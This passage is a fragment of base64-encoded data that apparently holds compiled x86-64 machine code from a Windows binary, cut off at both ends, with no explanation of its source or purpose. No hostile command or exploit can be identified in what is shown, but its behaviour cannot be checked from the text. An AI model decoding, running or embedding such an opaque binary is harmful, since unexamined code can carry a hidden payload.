p3TVhoYzlBMHhPSDVmc0RGNGZzZE81MEFBTVg2NXZQRitkc3QvNXdBQU1YNUx5MzNuQUFBRDRSQkFnQUF4ZEh2N2NYNUw4VVBodU1CQUFERitkc1ZLNTBBQU1YN1hDV3puUUFBeGZrdk5UdWVBQUFQaEk0QkFBREYrZHNOSFowQUFNWDUyeDBsblFBQXhlRno4d0hGNGRUSnhPSDVmc2pGMmRzbGI1NEFBTVg1THlVbm5nQUFENEt4QUFBQVNNSG9MTVhwNnhWMW5RQUF4ZkhyRFcyZEFBQk1qUTMycmdBQXhmTmN5c1RCYzFrTXdVeU5EY1dlQUFERjgxbkJ4ZnNRSGJtZEFBREYreEF0Z1owQUFNVGk4YWtkbUowQUFNVGk4YWt0TDUwQUFQSVBFT0RFNHZHcEhYS2RBQURGKzFuZ3hPTFJ1Y2pFNHVHNXpNWHpXUTJjbkFBQXhmc1FMZFNjQUFERTRzbXI2ZkpCRHhBRXdVaU5GWEttQUFEeUR4QVV3c1hyV05YRTRzbTVCYUNjQUFERisxakN4Zmx2ZENRZ1NJUEVXTU9ReGZzUUZhaWNBQURGKzF3RnNKd0FBTVhyV05ERisxN0t4ZnNRSmJDZEFBREYreEF0eUowQUFNWDdXZkhGODFqSnhmTlowY1RpNmFrbGc1MEFBTVRpNmFrdG1wMEFBTVhyV2RIRjIxbml4ZXRaMHNYcldkSEYwMW5xeGR0WTVjWGJYT2JGK2RzZGxwMEFBTVg3WE1QRjIxamd4ZHRaRGZhYkFBREYyMWtsL3BzQUFNWGpXUVgybXdBQXhlTlpIZDZiQUFERisxakV4ZnRZd2NYN1dNUEYrVzkwSkNCSWc4Ull3OFhwNnhVUG5BQUF4ZXRjRlFlY0FBREYwWFBTTk1YcDJ4VnFtd0FBeGZrb3dzWFIraTJPbkFBQXhmcm05ZWxBL3YvL0R4OUVBQUIxTHNYN0VBM21tZ0FBUklzRkg1MEFBT2hxRWdBQXhmbHZkQ1FnU0lQRVdNTm1abVptWm1abUR4K0VBQUFBQUFERit4QU4ySm9BQUVTTEJmV2NBQURvUEJJQUFNWDViM1FrSUVpRHhGakRrRWc3QmFtYUFBQjBKMGc3QlpDYUFBQjB6a2dMQmJlYUFBQm1TQTl1eUVTTEJjT2NBQURvQmhJQUFPc0VEeDlBQU1YNWIzUWtJRWlEeEZqRHpFaUQ3RWhJZzJRa01BQklqUTJqbkFBQWcyUWtLQUJCdUFNQUFBQkZNOGxFaVVRa0lMb0FBQUJBL3hYVk1RQUFTSWtGdm5VREFFaUR4RWpEekVpRDdDaElpdzJ0ZFFNQVNJMUJBa2lEK0FGMkJ2OFZ6VEVBQUVpRHhDakRTSWxjSkFoSWlXd2tFRWlKZENRWVYwRldRVmRJZyt3Z1NJdmF2UUVBQUFCRWk4VXowb3Z4NlB6cS8vOU1pL0JJZy9qL2RRem9ubkwvLzRzQTZhWUFBQUF6MG92T1JJMUNBdWphNnYvL1NJUDQvM1RoU0l2N1NDdjRTSVgvRDQ3RkFBQUFRYjhBRUFBQVNJdlZRWXZQNkJ4cy8vOUlpOWhJaGNCMUVPaFhjdi8veHdBTUFBQUE2WWtBQUFDNkFJQUFBSXZPNkNDMC92K0w2RVNMeDBrNy8waUwwNHZPUlE5TngrZ2lvUC8vZy9qL2RFMUltRWdyK0VpRi8zL2RpOVdMenVqeXMvNy9TSXZMNkdwcS8vOUZNOEJKaTlhTHp1aE42di8vU0lQNC93K0VVUC8vL3pQQVNJdGNKRUJJaTJ3a1NFaUxkQ1JRU0lQRUlFRmZRVjVmdytpemNmLy9nemdGZFF2b3lYSC8vOGNBRFFBQUFPaStjZi8vU0l2TGl6am9GR3IvLzR2SDY3OTVwRVV6d0VpTDA0dk82UEhwLy85SWcvai9ENFQwL3YvL2k4N29ZS3IvLzBpTHlQOFZEeTRBQUlYQUQ0VjEvLy8vNkhweC8vL0hBQTBBQUFEb1QzSC8vMGlMMlA4VlJqQUFBSWtENmJ6Ky8vL016TXhBVTFWV1YwRlVRVlZCVmtGWFNJUHNPRXhqNlV5TkZXR2xBd0JKaS8xTmkvMUp3ZjhHZytjL1NNSG5Ca3lMOGtHNUNnQUFBRXVMQlBwSWkwdzRLRWlKakNTWUFBQUFUWVhBZEExbVJEa0tkUWVBVERnNEJPc0ZnR1E0T1B0T2pTUkNTSXZ5U0l2YVNUdlVENE9pQVFBQVNJMXFBcm9OQUFBQUQ3Y0dab1A0R2crRWJnRUFBR1k3d25RVVpva0RTSVBEQWtpRHhnSklnOFVDNlpvQUFBQkpPK3h6SG1aRU9VMEFkUkpJZzhZRVprU0pDMGlEeFFSSWc4TUM2M3htaVJQcnpFaURaQ1FnQUV5TmpDU1FBQUFBUWJnQ0FBQUFTSTJVSklBQUFBQklnOFlDU0lQRkF2OFZNQzhBQUlYQUQ0VGtBQUFBZzd3a2tBQUFBQUFQaE5ZQUFBQk1qUlZ6cEFNQVFia0tBQUFBUzRzRSt2WkVPRGhJZEdVUHQ0UWtnQUFBQUdaQk84RjFIMlpFaVF1NkRRQUFBRWlMakNTWUFBQUFTVHYwRDRJMy8vLy82Y3NBQUFDNURRQUFBR2FKaENTSUFBQUFab2tMTTlKTGl3ejZpb1FVaUFBQUFFZ0R6NGhFRVRwSS84SklnL29DZk9WTGl3VDZSSWhNT0R6cnJXWkVPWXdrZ0FBQUFIVVBTVHZlZFFwbVJJa0xTSVBEQXV1VFNNZkMvdi8vLzBHTHpVU05RZ1BvQU9qLy8wRzVDZ0FBQUV5TkZjT2pBd0JtUkRtTUpJQUFBQUFQaEdULy8vOUJqVkVEWm9rVFNJUERBdWxaLy8vL3VnMEFBQUJNalJXWW93TUFab2tUU0lQREFrU05TdjNwUGYvLy8wdUxEUHFLUkRrNHFFQjFDQXdDaUVRNU9Pc0tEN2NPWm9rTFNJUERBa2tyM2tqUiswaU5CQnRJZzhRNFFWOUJYa0ZkUVZ4ZlhsMWJ3OHpNekV5SlRDUWdpVXdrQ0ZOVlZsZEJWRUZWUVZaQlYwaUQ3RGhKaStsTWpSVnArUHYvVEdQSlRJdnlTWXY1VFl2NVNjSC9Cb1BuUDBqQjV3WkxpNFQ2d0tvSEFFeUxiRGdvVFlYQWRBeUFPZ3AxQjRCTU9EZ0U2d1dBWkRnNCswNk5KQUpJaS9KSWk5cEpPOVFQZ3pVQkFBQklqV29CaWdZOEdnK0UrQUFBQUR3TmRCQ0lBMGovdzBqL3hrai94ZW5aQUFBQVNUdnNjeHVBZlFBS2RSQklnOFlDU0lQRkFzWURDdW03QUFBQXhnTU42OUpJZzJRa0lBQk1qWXdra0FBQUFFRzRBUUFBQUVpTmxDU0lBQUFBU1l2TlNQL0dTUC9GL3hVUExRQUFoY0IwZllPOEpKQUFBQUFBZEhOTWpSV2E5L3YvUzR1RStzQ3FCd0QyUkRnNFNIUWhpb3draUFBQUFJRDVDblVFaUF2cldzWUREVXVMaFByQXFnY0FpRXc0T3V0SmdMd2tpQUFBQUFwMUNVazczZytFY1AvLy80dU1KSUFBQUFCQnVBRUFBQUJJZzhyLzZESG0vLytBdkNTSUFBQUFDa3lORlRMMysvOTBEK3NIVEkwVkovZjcvOFlERFVqL3cwazc5QStDQVAvLy8rc2ZTNHVNK3NDcUJ3Q0tSRGs0cUVCMUNBd0NpRVE1T09zSGlnYUlBMGovdzBTTGpDU0FBQUFBU0l1c0pKZ0FBQUJCSzk1MUJ6UEE2VHNCQUFCTGk0ejZ3S29IQUlCOE9Ua0FkUWVMdytrbEFRQUFTR1BEU1kxZS8wZ0QyUFlEZ0hVSVNQL0Q2YW9BQUFDNkFRQUFBT3NQZy9vRWR4aEpPOTV5RTBqL3kvL0NEN1lEUW9DOEVIQjVCd0FBZE9ORUQ3WURRdysraEJCd2VRY0FoY0IxRStnVWJmLy94d0FxQUFBQWc4ai82Y1lBQUFEL3dEdkNkUWVMd2tnRDJPdFY5a1E1T0VoME8wai93MFNJUkRrNmcvb0NjaEdLQTBqL3cwdUxqUHJBcWdjQWlFUTVPNFA2QTNVUmlnTkkvOE5MaTR6NndLb0hBSWhFT1R5THdrZ3IyT3NUOTlwQnVBRUFBQUJJWTlKQmk4bm85T1QvLzR1RUpLQUFBQUJCSzk2SlJDUW9SSXZMVFl2R1NJbHNKQ0F6MHJucC9RQUEveFd1S1FBQWk5Q0Z3SFVTL3hWU0t3QUFpOGpvKzJ2Ly8rbFkvLy8vU0kwTnYvWDcvMHFMalBuQXFnY0FnR1E1UGYwN3d3K1Z3Q1FCQXNBSVJEazlpOEpJQThCSWc4UTRRVjlCWGtGZFFWeGZYbDFidzh6TXpFaUpYQ1FZU0lsVUpCQlZWbGRCVkVGVlFWWkJWMGlEN0dCTVkrbE1pOHBGaStCQmcvMytkUm5vMzJ2Ly96UDJpVERvOW12Ly84Y0FDUUFBQU9rSkJBQUFNL2FGeVErSTZBTUFBRVE3TGZxakF3QVBnOXNEQUFCSmkrMUVqVVlCZytVL1RJbEVKRWhKaTlWSXdlVUdTTUg2Qmt5TkhkT2ZBd0JJaVZRa1FFbUxCTk5FaEVRb09BK0VwZ01BQUVHQi9QLy8vMzkyRitoeGEvLy9pVERvaW12Ly84Y0FGZ0FBQU9tWUF3QUFSWVhrRDRSNUF3QUE5a1FvT0FJUGhXNERBQUJOaGNsMDBFaUxUQ2dvU0l2ZVJBKytWQ2c1dndRQUFBQklpVXdrT0VHTHlrU0lsQ1NnQUFBQVFTdklkQnBCSzhoMUNrR0x4UGZRUVlUQWRCVkZpL1JOaS9ucG9BQUFBRUdMeFBmUVFZVEFkUnpvOVdyLy80a3c2QTVyLy8vSEFCWUFBQURvUDJmLy8rbUdBUUFBUll2MFFkSHVSRHYzUkE5QzkwR0x6dWlKWS8vL004bElpOWpvUDJQLy96UEo2RGhqLy85TWkvdEloZHQxRytqTGF2Ly94d0FNQUFBQTZLQnEvLy9IQUFnQUFBRHBQUUVBQURQU1FZdk5SSTFDQWVqMzR2Ly9TSXRVSkVCTWpSMjduZ01BUklxVUpLQUFBQUJCdUFFQUFBQkppd3pUU0lsRUtUQkppd1RUaS81TWlYd2tVRUc1Q2dBQUFQWkVLRGhJZEgyS1RDZzZRVHJKZEhSRmhmWjBiMEdJRDBIL3prbUxCTk5OQS9oQmkvaEVpRXdvT2tXRTBuUlZTWXNFMDRwTUtEdEJPc2wwU0VXRjluUkRRWWdQUVkxNStFbUxCTk5OQS9oQi84NUVpRXdvTzBVNjBIVW9TWXNFMDRwTUtEeEJPc2wwRzBXRjluUVdRWWdQUVkxNStVbUxCTk5OQS9oQi84NUVpRXdvUEVHTHplZ0gydi8vaGNBUGhJVUFBQUJJaTBRa1FFaU5EZk9kQXdCSWl3VEI5a1FvT0lCMGJraUxUQ1E0U0kxVUpERC9GYWdtQUFDRndIUmFnTHdrb0FBQUFBSjFWVWlMVENRNFRJMk1KTGdBQUFCQjBlNUppOWRGaThaSWlYUWtJUDhWQ1NZQUFJWEFkUi8vRlY4b0FBQ0x5T2dJYWYvL2c4Ly9TSXZMNk0xaC8vK0x4K21IQVFBQWk0UWt1QUFBQUkwOFIrdEFRSWgwSkVoSWkwd2tPRXlOakNTNEFBQUFSWXZHU0lsMEpDQkppOWYvRmZjbkFBQ0Z3QStFL0FBQUFFUTVwQ1M0QUFBQUQ0ZnVBQUFBQTd3a3VBQUFBRWlMVkNSQVRJMGRMcDBEQUVtTEJOUDJSQ2c0Z0hTT2dMd2tvQUFBQUFKMEtFeUxqQ1NvQUFBQVNZdkVTTkhvU1l2WFRHUEhRWXZOU0lsRUpDRG9yUG4vLzR2NDZWei8vLzlJaTBRa1NJVEFkSDFNaTBRa1VFaGp4MG1MeUVqUjZFbUwrRTJORkVCTk84SnpWa21OUUFLK0NnQUFBRVFQdHdsbVFZUDVHblE1WmtHRCtRMTFHMGs3d25NV1pqa3dkUkZJZzhFRVpvazNTSVBBQkVpRHh3THJFR1pFaVE5SWc4RUNTSVBIQWtpRHdBSkpPOHB5dnVzSlNZc0UwNEJNS0RnQ1NTdjRTTkgvQS8vcDF2Ny8vMGlMVkNSUVFZdk5UR1BIU2RIbzZOejIvLy9wVy8vLy8vOFZEU2NBQUlQNEJYVWI2Q05vLy8vSEFBa0FBQURvK0dmLy84Y0FCUUFBQU9tVi92Ly9nL2h0RDRXRi92Ly9pLzdwaVA3Ly96UEE2eHJvMUdmLy80a3c2TzFuLy8vSEFBa0FBQURvSG1ULy80UEkvMGlMbkNTd0FBQUFTSVBFWUVGZlFWNUJYVUZjWDE1ZHc4ek16RUJUU0lQc0lPaEpBd0FBaTlqb1hBTUFBRFBBOXNNL2RET0t5NDFRRUlEaEFROUZ3dmJEQkhRRGc4Z0k5c01JZEFPRHlBU0UyblFEZzhnQzlzTWdkQU9EeUFIMnd3SjBCQSs2NkJOSWc4UWdXOFBNekErNjhoUHBTd0FBQU16TXpBK3VYQ1FJaTFRa0NEUEo5c0kvZERXS3drU05RUkFrQVVFUFJjajJ3Z1IwQTRQSkNQYkNDSFFEZzhrRVFZVFFkQU9EeVFMMndpQjBBNFBKQWZiQ0FuUUVEN3JwRTR2QncwaUpYQ1FRU0lsMEpCaElpWHdrSUVGVVFWWkJWMGlEN0NDTDJvdnhnZU1mQXdnRDZJUUNBQUJFaThnei8wU0t3RUc3Z0FBQUFJdkhqVThRUlNMREQwWEJRYndBQWdBQVJZWE1kQU9EeUFoQkQ3cmhDbk1EZzhnRVFiZ0FDQUFBUllYSWRBT0R5QUpCdWdBUUFBQkZoY3AwQTRQSUFVRytBQUVBQUVXRnpuUUVEN3JvRTBHTHlVRy9BR0FBQUVFanozUWtnZmtBSUFBQWRCbUIrUUJBQUFCMERFRTd6M1VQRFFBREFBRHJDRUVMeE9zRFFRdkd1a0NBQUFCRUk4cEJnK2xBZEJ4QmdlbkFmd0FBZEF4QmcvbEFkUkVQdXVnWTZ3c05BQUFBQStzRUQ3cm9HWXZMOTlFanlDUHpDODQ3eUErRWhnRUFBSXJCdmhBQUFBQ0wzMEFpeGtFUFJkdUpYQ1JBOXNFSWRBZEJDOXlKWENSQTlzRUVkQWdQdXVzS2lWd2tRUGJCQW5RSFFRdllpVndrUVBiQkFYUUhRUXZhaVZ3a1FBKzY0Uk56QjBFTDNvbGNKRUNMd1NVQUF3QUFkQ1JCTzhaMEYwRTd4SFFNUFFBREFBQjFFMEVMMytzS0Q3cnJEdXNFRDdyckRZbGNKRUNCNFFBQUFBT0IrUUFBQUFGMEc0SDVBQUFBQW5RT2dma0FBQUFEZFJFUHV1c1A2d2VEeTBEckFndmFpVndrUUVBNFBVRnBBd0IwUFBiRFFIUTNpOHZvQXdFQUFPc3N4Z1VxYVFNQUFJdGNKRUNENDcrTHkranNBQUFBTS8rTmR4QkJ2QUFDQUFCQnZnQUJBQUJCdndCZ0FBRHJDb1BqdjR2TDZNa0FBQUNLd3lTQUQwWCtRWVhjZEFPRHp3Z1B1dU1LY3dPRHp3UVB1dU1MY3dPRHp3SVB1dU1NY3dPRHp3RkJoZDUwQkErNjd4T0x3MEVqeDNRalBRQWdBQUIwR1QwQVFBQUFkQTFCTzhkMUVJSFBBQU1BQU9zSVFRdjg2d05CQy82QjQwQ0FBQUNENjBCMEc0SHJ3SDhBQUhRTGcvdEFkUklQdXU4WTZ3eUJ6d0FBQUFQckJBKzY3eG1MeDBpTFhDUklTSXQwSkZCSWkzd2tXRWlEeENCQlgwRmVRVnpEek16TXpNek16TXpNek16TVptWVBINFFBQUFBQUFFaUQ3QWdQcmh3a2l3UWtTSVBFQ01PSlRDUUlENjVVSkFqREQ2NWNKQWk1d1AvLy95Rk1KQWdQcmxRa0NNTm1EeTRGeW8wQUFITVVaZzh1QmNpTkFBQjJDdkpJRHkzSThrZ1BLc0hEek16TVNJdkVVMGlEN0ZEeUR4Q0VKSUFBQUFDTDJmSVBFSXdraUFBQUFMckEvd0FBaVVqSVNJdU1KSkFBQUFEeUR4RkE0UElQRVVqbzhnOFJXTmhNaVVEUTZOUUdBQUJJalV3a0lPaFNzLy8vaGNCMUI0dkw2RzhHQUFEeUR4QkVKRUJJZzhSUVc4UE16TXhJaVZ3a0NFaUpkQ1FRVjBpRDdDQ0wyVWlMOG9Qakg0djU5c0VJZEJPRTBua1B1UUVBQUFEb0FBY0FBSVBqOSt0WHVRUUFBQUJBaFBsMEVVZ1B1dUlKY3dybzVRWUFBSVBqKytzOFFQYkhBWFFXU0ErNjRncHpEN2tJQUFBQTZNa0dBQUNENC83cklFRDJ4d0owR2tnUHV1SUxjeE5BOXNjUWRBcTVFQUFBQU9pbkJnQUFnK1A5UVBiSEVIUVVTQSs2NWd4ekRia2dBQUFBNkkwR0FBQ0Q0KzlJaTNRa09EUEFoZHRJaTF3a01BK1V3RWlEeENCZnc4ek16RWlMeEZWVFZsZEJWa2lOYU1sSWdlendBQUFBRHlsd3lFaUxCVlZjQXdCSU04UklpVVh2aS9KTWkvRzZ3UDhBQUxtQUh3QUFRWXY1U1l2WTZMUUZBQUNMVFY5SWlVUWtRRWlKWENSUThnOFFSQ1JRU0l0VUpFRHlEeEZFSkVqbzRmNy8vL0lQRUhWM2hjQjFRSU45ZndKMUVZdEZ2NFBnNC9JUEVYV3ZnOGdEaVVXL1JJdEZYMGlOUkNSSVNJbEVKQ2hJalZRa1FFaU5SVzlFaTg1SWpVd2tZRWlKUkNRZzZNZ0JBQURvbzdILy80VEFkRFNGLzNRd1NJdEVKRUJOaThieUR4QkVKRWlMei9JUEVGMXZpMVZuU0lsRUpERHlEeEZFSkNqeUR4RjBKQ0RvOWYzLy8rc2NpOC9vdEFRQUFFaUxUQ1JBdXNEL0FBRG85UVFBQVBJUEVFUWtTRWlMVGU5SU04em9Ld1lBQUE4b3RDVGdBQUFBU0lIRThBQUFBRUZlWDE1YlhjUE1TTGdBQUFBQUFBQUlBRWdMeUVpSlRDUUk4ZzhRUkNRSXc4ek16TXpNek16TXpNek1RRk5JZyt3UVJUUEFNOGxFaVFVR25nTUFSWTFJQVVHTHdRK2lpUVFrdUFBUUFCaUpUQ1FJSThpSlhDUUVpVlFrRER2SWRTd3p5UThCMEVqQjRpQklDOUJJaVZRa0lFaUxSQ1FnUklzRnhwMERBQ1FHUEFaRkQwVEJSSWtGdDUwREFFU0pCYlNkQXdBendFaUR4QkJidzBpRDdEaElqUVVGb3dBQVFia2JBQUFBU0lsRUpDRG9CUUFBQUVpRHhEakRTSXZFU0lQc2FBOHBjT2dQS1BGQmk5RVBLTmhCZytnQmRDcEJnL2dCZFdsRWlVRFlEMWZTOGc4UlVOQkZpOGp5RHhGQXlNZEF3Q0VBQUFESFFMZ0lBQUFBNnkzSFJDUkFBUUFBQUE5WHdQSVBFVVFrT0VHNUFnQUFBUElQRVZ3a01NZEVKQ2dpQUFBQXgwUWtJQVFBQUFCSWk0d2trQUFBQVBJUEVVd2tlRXlMUkNSNDZKdjkvLzhQS01ZUEtIUWtVRWlEeEdqRHpNeElnK3hJZzJRa01BQklpMFFrZUVpSlJDUW9TSXRFSkhCSWlVUWtJT2dHQUFBQVNJUEVTTVBNU0l2RVNJbFlFRWlKY0JoSWlYZ2dTSWxJQ0ZWSWkreElnK3dnU0l2YVFZdnhNOUsvRFFBQXdJbFJCRWlMUlJDSlVBaElpMFVRaVZBTVFmYkFFSFFOU0l0RkVMK1BBQURBZzBnRUFVSDJ3QUowRFVpTFJSQy9rd0FBd0lOSUJBSkI5c0FCZEExSWkwVVF2NUVBQU1DRFNBUUVRZmJBQkhRTlNJdEZFTCtPQUFEQWcwZ0VDRUgyd0FoMERVaUxSUkMva0FBQXdJTklCQkJJaTAwUVNJc0RTTUhvQjhIZ0JQZlFNMEVJZytBUU1VRUlTSXRORUVpTEEwakI2QW5CNEFQMzBETkJDSVBnQ0RGQkNFaUxUUkJJaXdOSXdlZ0t3ZUFDOTlBelFRaUQ0QVF4UVFoSWkwMFFTSXNEU01Ib0N3UEE5OUF6UVFpRDRBSXhRUWlMQTBpTFRSQkl3ZWdNOTlBelFRaUQ0QUV4UVFqbzN3SUFBRWlMMEtnQmRBaElpMDBRZzBrTUVLZ0VkQWhJaTAwUWcwa01DS2dJZEFoSWkwVVFnMGdNQlBiQ0VIUUlTSXRGRUlOSURBTDJ3aUIwQ0VpTFJSQ0RTQXdCaXdPNUFHQUFBRWdqd1hRK1NEMEFJQUFBZENaSVBRQkFBQUIwRGtnN3dYVXdTSXRGRUlNSUErc25TSXRGRUlNZy9raUxSUkNEQ0FMckYwaUxSUkNESVAxSWkwVVFnd2dCNndkSWkwVVFneUQ4U0l0RkVJSG0vdzhBQU1IbUJZRWdId0QrLzBpTFJSQUpNRWlMUlJCSWkzVTRnMGdnQVlOOVFBQjBNMGlMUlJDNjRmLy8veUZRSUVpTFJUQ0xDRWlMUlJDSlNCQklpMFVRZzBoZ0FVaUxSUkFoVUdCSWkwVVFpdzZKU0ZEclNFaUxUUkJCdU9QLy8vK0xRU0JCSThDRHlBS0pRU0JJaTBVd1NJc0lTSXRGRUVpSlNCQklpMFVRZzBoZ0FVaUxWUkNMUW1CQkk4Q0R5QUtKUW1CSWkwVVFTSXNXU0lsUVVPam1BQUFBTTlKTWpVMFFpODlFalVJQi94VkVIUUFBU0l0TkVQWkJDQkIwQlVnUHVqTUg5a0VJQ0hRRlNBKzZNd24yUVFnRWRBVklEN296Q3ZaQkNBSjBCVWdQdWpNTDlrRUlBWFFGU0ErNk13eUxBWVBnQTNRd2crZ0JkQitENkFGMERvUDRBWFVvU0lFTEFHQUFBT3NmU0ErNk13MUlEN29yRHVzVFNBKzZNdzVJRDdvckRlc0hTSUVqLzUvLy80TjlRQUIwQjR0QlVJa0c2d2RJaTBGUVNJa0dTSXRjSkRoSWkzUWtRRWlMZkNSSVNJUEVJRjNEek14SWcrd29nL2tCZEJXTlFmNkQrQUYzR09oQ1hmLy94d0FpQUFBQTZ3dm9OVjMvLzhjQUlRQUFBRWlEeENqRHpNeEFVMGlEN0NEb3Jmai8vNHZZZytNLzZMMzQvLytMdzBpRHhDQmJ3OHpNekVpSlhDUVlTSWwwSkNCWFNJUHNJRWlMMmtpTCtlaCsrUC8vaS9DSlJDUTRpOHYzMFlISmY0RC8veVBJSS9zTHo0bE1KRENBUGExZ0F3QUFkQ1gyd1VCMElPaGgrUC8vNnhmR0JaaGdBd0FBaTB3a01JUGh2K2hNK1AvL2kzUWtPT3NJZytHLzZENzQvLytMeGtpTFhDUkFTSXQwSkVoSWc4UWdYOE5BVTBpRDdDQklpOW5vRHZqLy80UGpQd3ZEaThoSWc4UWdXK2tOK1AvL3pFaUQ3Q2pvOC9mLy80UGdQMGlEeENqRHpQOGxEQmdBQUVpRDdDaE5pMEU0U0l2S1NZdlI2QTBBQUFDNEFRQUFBRWlEeENqRHpNek1RRk5GaXhoSWk5cEJnK1A0VEl2SlFmWUFCRXlMMFhRVFFZdEFDRTFqVUFUMzJFd0QwVWhqeUV3ajBVbGp3MHFMRkJCSWkwTVFpMGdJU0FOTENQWkJBdzkwREErMlFRT0Q0UEJJbUV3RHlFd3p5a21MeVZ2cEdRQUFBTXpNek16TXpNek16TXpNek16TXpHWm1EeCtFQUFBQUFBQklPdzB4VlFNQThuVVNTTUhCRUdiM3dmLy84blVDOHNOSXdja1E2Uk1CQUFETXpNek16TXpNek16TXpNek16TXhNWTBFOFJUUEpUQVBCVEl2U1FRKzNRQlJGRDdkWUJraUR3QmhKQThCRmhkdDBIb3RRREV3NzBuSUtpMGdJQThwTU85RnlEa0gvd1VpRHdDaEZPOHR5NGpQQXc4ek16TXpNek16TXpNek16RWlKWENRSVYwaUQ3Q0JJaTlsSWpUMk01UHYvU0l2UDZEUUFBQUNGd0hRaVNDdmZTSXZUU0l2UDZJTC8vLzlJaGNCMEQ0dEFKTUhvSC9mUWcrQUI2d0l6d0VpTFhDUXdTSVBFSUYvRHpNek1TSXZCdVUxYUFBQm1PUWgwQXpQQXcwaGpTRHhJQThnendJRTVVRVVBQUhVTXVnc0NBQUJtT1ZFWUQ1VEF3OHpNUUZOSWcrd2dTSXZaTThuL0ZYOFlBQUJJaTh2L0ZYNFlBQUQvRmJnWkFBQklpOGk2Q1FRQXdFaUR4Q0JiU1A4bHpCY0FBRWlKVENRSVNJUHNPTGtYQUFBQTZMbE0vditGd0hRSHVRSUFBQUROS1VpTkRYZVhBd0RvcWdBQUFFaUxSQ1E0U0lrRlhwZ0RBRWlOUkNRNFNJUEFDRWlKQmU2WEF3Qklpd1ZIbUFNQVNJa0Z1SllEQUVpTFJDUkFTSWtGdkpjREFNY0ZrcFlEQUFrRUFNREhCWXlXQXdBQkFBQUF4d1dXbGdNQUFRQUFBTGdJQUFBQVNHdkFBRWlORFk2V0F3Qkl4d1FCQWdBQUFMZ0lBQUFBU0d2QUFFaUxEVjVUQXdCSWlVd0VJTGdJQUFBQVNHdkFBVWlMRFZGVEF3QklpVXdFSUVpTkRaMmJBQURvQVAvLy8waUR4RGpEek16TVFGTldWMGlEN0VCSWk5bi9GWjhYQUFCSWk3UDRBQUFBTS85Rk04QklqVlFrWUVpTHp2OFZmUmNBQUVpRndIUTVTSU5rSkRnQVNJMU1KR2hJaTFRa1lFeUx5RWlKVENRd1RJdkdTSTFNSkhCSWlVd2tLRFBKU0lsY0pDRC9GVDRYQUFEL3g0UC9Bbnl4U0lQRVFGOWVXOFBNek16TXpNek16TXpNek16TVptWVBINFFBQUFBQUFFaUQ3QkJNaVJRa1RJbGNKQWhOTTl0TWpWUWtHRXdyMEUwUFF0TmxUSXNjSlJBQUFBQk5POVB5Y3hkbVFZSGlBUEJOalpzQThQLy9RY1lEQUUwNzAvSjE3MHlMRkNSTWkxd2tDRWlEeEJEeXc4ei9KWWdXQUFETXpNek16TXpNek16TXpNek16R1ptRHgrRUFBQUFBQUJNaTlsTWk5SkpnL2dRRDRad0FBQUFTWVA0SUhaS1NDdlJjdzlKaThKSkE4QklPOGdQakRZREFBQkpnZmlBQUFBQUQ0WnBBZ0FBRDdvbEpZb0RBQUVQZzZzQkFBQkppOE5NaTk5SWkvbEppOGhNaThaSmkvTHpwRW1MOEVtTCs4TVBFQUpCRHhCTUVQQVBFUUZCRHhGTUNQQklpOEhEWm1ZUEg0UUFBQUFBQUVpTHdVeU5EWmJoKy85RGk0eUJkeDRFQUVrRHlmL2h3QjRFQU44ZUJBREJIZ1FBeng0RUFBc2ZCQUFRSHdRQUlCOEVBREFmQkFESUhnUUFZQjhFQUhBZkJBRHdIZ1FBZ0I4RUFFZ2ZCQUNRSHdRQXNCOEVBT1VlQkFBUEgwUUFBTU1QdHdwbWlRakRTSXNLU0lrSXd3KzNDa1FQdGtJQ1pva0lSSWhBQXNNUHRncUlDTVB6RDI4Qzh3OS9BTU5ta0V5TEFnKzNTZ2hFRDdaS0NreUpBR2FKU0FoRWlFZ0tTWXZMdzRzS2lRakRpd3BFRDdaQ0JJa0lSSWhBQk1ObWtJc0tSQSszUWdTSkNHWkVpVUFFdzVDTENrUVB0MElFUkErMlNnYUpDR1pFaVVBRVJJaElCc05NaXdLTFNnaEVEN1pLREV5SkFJbElDRVNJU0F6RFpwQk1pd0lQdGtvSVRJa0FpRWdJdzJhUVRJc0NEN2RLQ0V5SkFHYUpTQWpEa0V5TEFvdEtDRXlKQUlsSUNNTVBId0JNaXdLTFNnaEVEN2RLREV5SkFJbElDR1pFaVVnTXcyWVBINFFBQUFBQUFFeUxBb3RLQ0VRUHQwb01SQSsyVWc1TWlRQ0pTQWhtUklsSURFU0lVQTdERHhBRUNrd0R3VWlEd1JCQjlzTVBkQk1QS01oSWcrSHdEeEFFQ2tpRHdSQkJEeEVMVEN2QlRZdklTY0hwQncrRWlBQUFBQThwUWZCTU93MEJVQU1BZGhmcHdnQUFBR1ptRHgrRUFBQUFBQUFQS1VIZ0R5bEo4QThRQkFvUEVFd0tFRWlCd1lBQUFBQVBLVUdBRHlsSmtBOFFSQXFnRHhCTUNyQkovOGtQS1VHZ0R5bEpzQThRUkFyQUR4Qk1DdEFQS1VIQUR5bEowQThRUkFyZ0R4Qk1DdkIxclE4cFFlQkpnK0IvRHlqQjZ3d1BFQVFLU0lQQkVFbUQ2QkJOaThoSndla0VkQnhtWm1ZUEg0UUFBQUFBQUE4UlFmQVBFQVFLU0lQQkVFbi95WFh2U1lQZ0QzUU5TWTBFQ0E4UVRBTHdEeEZJOEE4UlFmQkppOFBERHg5QUFBOHJRZUFQSzBud0R4aUVDZ0FDQUFBUEVBUUtEeEJNQ2hCSWdjR0FBQUFBRHl0QmdBOHJTWkFQRUVRS29BOFFUQXF3U2YvSkR5dEJvQThyU2JBUEVFUUt3QThRVEFyUUR4aUVDa0FDQUFBUEswSEFEeXRKMEE4UVJBcmdEeEJNQ3ZCMW5RK3UrT2s0Ly8vL0R4OUVBQUJKQThnUEVFUUs4RWlENlJCSmcrZ1E5c0VQZEJkSWk4RklnK0h3RHhESUR4QUVDZzhSQ0V5THdVMHJ3MDJMeUVuQjZRZDBhQThwQWVzTlpnOGZSQUFBRHlsQkVBOHBDUThRUkFyd0R4Qk1DdUJJZ2VtQUFBQUFEeWxCY0E4cFNXQVBFRVFLVUE4UVRBcEFTZi9KRHlsQlVBOHBTVUFQRUVRS01BOFFUQW9nRHlsQk1BOHBTU0FQRUVRS0VBOFFEQXAxcmc4cFFSQkpnK0IvRHlqQlRZdklTY0hwQkhRYVptWVBINFFBQUFBQUFBOFJBVWlENlJBUEVBUUtTZi9KZGZCSmcrQVBkQWhCRHhBS1FROFJDdzhSQVVtTHc4UE16TXhJZyt3WVJUUEFUSXZKaGRKMVNFR0Q0UTlJaTlGSWcrTHdRWXZKUVlQSi93OVh5VUhUNFdZUGJ3Sm1EM1RCWmcvWHdFRWp3WFVVU0lQQ0VHWVBid0ptRDNUQlpnL1h3SVhBZE93UHZNQklBOExwcGdBQUFJTT